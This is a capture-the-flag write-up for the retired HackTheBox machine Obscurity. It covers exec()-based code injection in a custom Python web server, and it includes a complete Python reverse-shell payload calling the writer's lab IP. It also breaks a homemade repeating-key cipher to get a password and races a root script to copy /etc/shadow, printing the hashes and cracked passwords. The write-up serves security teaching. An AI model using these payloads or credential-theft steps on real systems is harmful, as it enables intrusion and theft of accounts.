Posts HackTheBox Obscurity Writeup
Post
Cancel

HackTheBox Obscurity Writeup

Machine Info

This is a retired machine on HackTheBox.

Machine IP: 10.10.10.168 My machine IP: 10.10.14.19


Enumeration

The machine just have a OpenSSH server as well as a HTTP Server. Go to the web server and we’re greeted with this landing page:

Landing page

With the list of softwares the developer has developed:

Software list

And this gem:

Message to server devs: the current source code for the web server is in ‘SuperSecureServer.py’ in the secret development directory

We can see that the landing page is indeed using their custom HTTP server by inspecting the HTTP Response header:

BadHTTPServer

Next we have to go find the source code, we know that it’s on the web server somewhere, and also it’s name. At this point, I ran multiple feroxbuster commands but never found the secret folder. I sheepishly believed that the server has some kind of directory listing or 403 page if directory listing for the directory is disabled. After a small hint, I saw that I must fuzz with the filename in the url already, something like this:

1
http://10.10.10.168:8080/{PATH TO SEARCH}/SuperSecureServer.py

I’ll let you do that on your own ;)

Unsafe evaluation of input data

This is the complete source code for the web Server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess

respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

{body}
"""
DOC_ROOT = "DocRoot"

CODES = {"200": "OK", 
        "304": "NOT MODIFIED",
        "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", 
        "500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", 
        "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", 
        "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}


class Response:
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)
        now = datetime.now()
        self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
    def stringResponse(self):
        return respTemplate.format(**self.__dict__)

class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
        except Exception as ex:
            print(ex)
            self.good = False

        print(request)
        print(self.good)

    def parseRequest(self, request):        
        req = request.strip("\r").split("\n")
        print(req[0].split(" "))
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}


class Server:
    def __init__(self, host, port):    
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept()
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()

    def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the recieved data 
                    req = Request(data.decode())
                    self.handleRequest(req, client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False
    
    def handleRequest(self, request, conn, address):
        if request.good:
#            try:
                # print(str(request.method) + " " + str(request.doc), end=' ')
                # print("from {0}".format(address[0]))
#            except Exception as e:
#                print(e)
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]
        
        statusCode=CODES[statusNum]
        dateSent = ""
        server = "BadHTTPServer"
        modified = ""
        length = len(body)
        contentType = document["mime"] # Try and identify MIME type from string
        connectionType = "Closed"


        resp = Response(
        statusNum=statusNum, statusCode=statusCode, 
        dateSent = dateSent, server = server, 
        modified = modified, length = length, 
        contentType = contentType, connectionType = connectionType, 
        body = body
        )

        data = resp.stringResponse()
        if not data:
            return -1
        conn.send(data.encode())
        return 0

    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                try:
                    with open(requested, "r") as f:
                        data = f.read()
                except:
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
            else:
                errorPage = os.path.join(docRoot, "errors", "404.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read().format(path)
                status = "404"
        except Exception as e:
            print(e)
            errorPage = os.path.join(docRoot, "errors", "500.html")
            mime = "text/html"
            with open(errorPage, "r") as f:
                data = f.read()
            status = "500"
        return {"body": data, "mime": mime, "status": status}

s=Server("0.0.0.0",80)
s.listen()

Looking at the code, one part immediately stand out:

1
2
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?

Basically, if we can control the value of info, we can execute arbitrary python code. Let’s backtrack a bit, in order to control the value of info, we must control the value of path, since this variable is put in info. path is the file path in the HTTP Request, tracing the path of path:

  • Line 140: function serveDoc(self, path, docRoot):
  • Line 110: document = self.serveDoc(request.doc, DOC_ROOT) in function handleRequest(self, request, conn, address)
  • Line 94: self.handleRequest(req, client, address) in function listenToClient(self, client, address)
  • The value of req is defined in line: req = Request(data.decode())
  • Trace all the way back to line 94: method,doc,vers = req[0].split(" ") function def parseRequest(self, request)
  • path is doc here

The web server split the path from the method and version by space, which mean we cannot have space in the payload. Also, let’s discuss the info variable a little bit. The code to execute has the following structure:

1
output = 'Document: PATH-IS-HERE'

In order to execute python code, we must first escape the single quote like so:

1
2
# The payload is: ';os.system('id');'
output = 'Document: ';os.system('id');''

Which equals:

1
2
3
output = 'Document: '
os.system('id')
''

We can use any python reverse shell payload to generate a connection back to us, I used:

1
';import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.19",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash");'

Unsafe encryption scheme

Never make your own encryption scheme!

For it will have holes, stick to the standards please. After gaining initial access as www-data, we have access to the folder /home/robert. Inside this folder we have the following files:

  • check.txt: “

    Encrypting this file with your key should result in out.txt, make sure your key is correct!

  • out.txt: 185 bytes of gibberish
  • passwordreminder.txt: 27 bytes of gibberish
  • SuperSecureCrypt.py: ```python import sys import argparse

def encrypt(text, key): keylen = len(key) keyPos = 0 encrypted = “” for x in text: keyChr = key[keyPos] newChr = ord(x) newChr = chr((newChr + ord(keyChr)) % 255) encrypted += newChr keyPos += 1 keyPos = keyPos % keylen print(x) print(hex(ord(newChr))) return encrypted

def decrypt(text, key): keylen = len(key) keyPos = 0 decrypted = “” for x in text: keyChr = key[keyPos] newChr = ord(x) newChr = chr((newChr - ord(keyChr)) % 255) decrypted += newChr keyPos += 1 keyPos = keyPos % keylen return decrypted

parser = argparse.ArgumentParser(description=’Encrypt with 0bscura's encryption algorithm’)

parser.add_argument(‘-i’, metavar=’InFile’, type=str, help=’The file to read’, required=False)

parser.add_argument(‘-o’, metavar=’OutFile’, type=str, help=’Where to output the encrypted/decrypted file’, required=False)

parser.add_argument(‘-k’, metavar=’Key’, type=str, help=’Key to use’, required=False)

parser.add_argument(‘-d’, action=’store_true’, help=’Decrypt mode’)

args = parser.parse_args()

banner = “################################\n” banner+= “# BEGINNING #\n” banner+= “# SUPER SECURE ENCRYPTOR #\n” banner+= “################################\n” banner += “ ############################\n” banner += “ # FILE MODE #\n” banner += “ ############################” print(banner) if args.o == None or args.k == None or args.i == None: print(“Missing args”) else: if args.d: print(“Opening file {0}…“.format(args.i)) with open(args.i, ‘r’, encoding=’UTF-8’) as f: data = f.read()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    print("Decrypting...")
    decrypted = decrypt(data, args.k)

    print("Writing to {0}...".format(args.o))
    with open(args.o, 'w', encoding='UTF-8') as f:
        f.write(decrypted)
else:
    print("Opening file {0}...".format(args.i))
    with open(args.i, 'r', encoding='UTF-8') as f:
        data = f.read()

    print("Encrypting...")
    encrypted = encrypt(data, args.k)

    print("Writing to {0}...".format(args.o))
    with open(args.o, 'w', encoding='UTF-8') as f:
        f.write(encrypted)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
We have a pair of plaintext-ciphertext (`check.txt` and `out.txt`), now we just need to analyze the encryption function to get back to the key. To summarize, the encryption is basically:
- Extend the key by repeating until the key length matches the plaintext length.
- Take a character from the plaintext, take another from the key, get the ascii value of both of these (`p` and `k`).
- Calculate the ciphertext number: `c = (p + k) mod 255`
- Get the character with number `c`
If the plaintext and key both have "normal" characters (alphanumerical characters, some specials characters and mathematicall notations), the "mod 255" part is useless because the largest value of these character is 126 (base 10, character `~`). We see that the plaintext (check.txt) and the key (specified in the command, after `-k` flag) only have normal characters, so the algorithm is essentially `c = p + k`. Which means in order to get the key value, we can do this:

`k = c - p`

As simple as that. I wrote a simple script to do this:

```python
import sys
with open("check.txt", 'r', encoding='UTF-8') as f:
    plain = f.read()
with open("out.txt", 'r', encoding='UTF-8') as f:
    cipher = f.read()

key = ""
arr = range(len(plain) - 1)
for i in arr:
    newChr = chr(ord(cipher[i]) - ord(plain[i]))
    key += newChr

print(key)
#alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovicha

We can clearly see that the key is alexandrovich. Use this key against the passwordreminder.txt file resulted in:

1
2
3
4
5
6
7
$ python3 SuperSecureCrypt.py -i passwordreminder.txt -o password.txt -k alexandrovich -d
Opening file passwordreminder.txt...
Decrypting...
Writing to password.txt...

$ cat password.txt
SecThruObsFTW

Using this password we can get access to the server with the robert account.

Unsafe privilege of sensitive files

The 0bscura company pride themselves on making a better alternative than SSH, appropriately dubbed “BetterSSH”, which is ironic since they still use OpenSSH on port 22. Anyway, robert seems to be the lead developer of the company, and he has everything, including BetterSSH’s source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess

path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
    session['user'] = input("Enter username: ")
    passW = input("Enter password: ")

    with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
    time.sleep(.1)
    salt = ""
    realPass = ""
    for p in passwords:
        if p[0] == session['user']:
            salt, realPass = p[1].split('$')[2:]
            break

    if salt == "":
        print("Invalid user")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    salt = '$6$'+salt+'$'
    realPass = salt + realPass

    hash = crypt.crypt(passW, salt)

    if hash == realPass:
        print("Authed!")
        session['authenticated'] = 1
    else:
        print("Incorrect pass")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
    traceback.print_exc()
    sys.exit(0)

if session['authenticated'] == 1:
    while True:
        command = input(session['user'] + "@Obscure$ ")
        cmd = ['sudo', '-u',  session['user']]
        cmd.extend(command.split(" "))
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        o,e = proc.communicate()
        print('Output: ' + o.decode('ascii'))
        print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')

This program will ask for the username and password, read the password entries in /etc/shadow, write them to a file in the /tmp folder for no reason, totally safe here. After authenticating the user, it deletes the file without using it. Have I mentioned that they use a random name for the temp file? Super secure coding practice in action, watch and learn folks. Anyways, robert can execute the script as root, effectively making it a sudo-kind of program.

Now, we can copy the temp file and view it later, because the system’s umask is 022, which mean newly created files are world-readable by default, and the file is created in /tmp, which is also world-readable by convention. The problem is after we press enter after typing in the password, the program opens, writes, checks the password hash and then deletes the file in an instant, definitely faster than human could catch up. The solution is to have an infinite loop running before we invoke the script, the intention is to win the race of conditions :). This is simple enough:

1
while true; do cp -r /tmp/SSH/ /tmp/SSH2; done

Then while the loop is running, invoke the script and go back to check the destination folder:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ cat GwYT07ds
root
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
18226
0
99999
7

robert
$6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/
18163
0
99999
7

And just like that, we have the root hash, cracking it with john is super fast, and it gave us the password mercedes.

That’s it, thanks for reading.

This post is licensed under CC BY 4.0 by the author.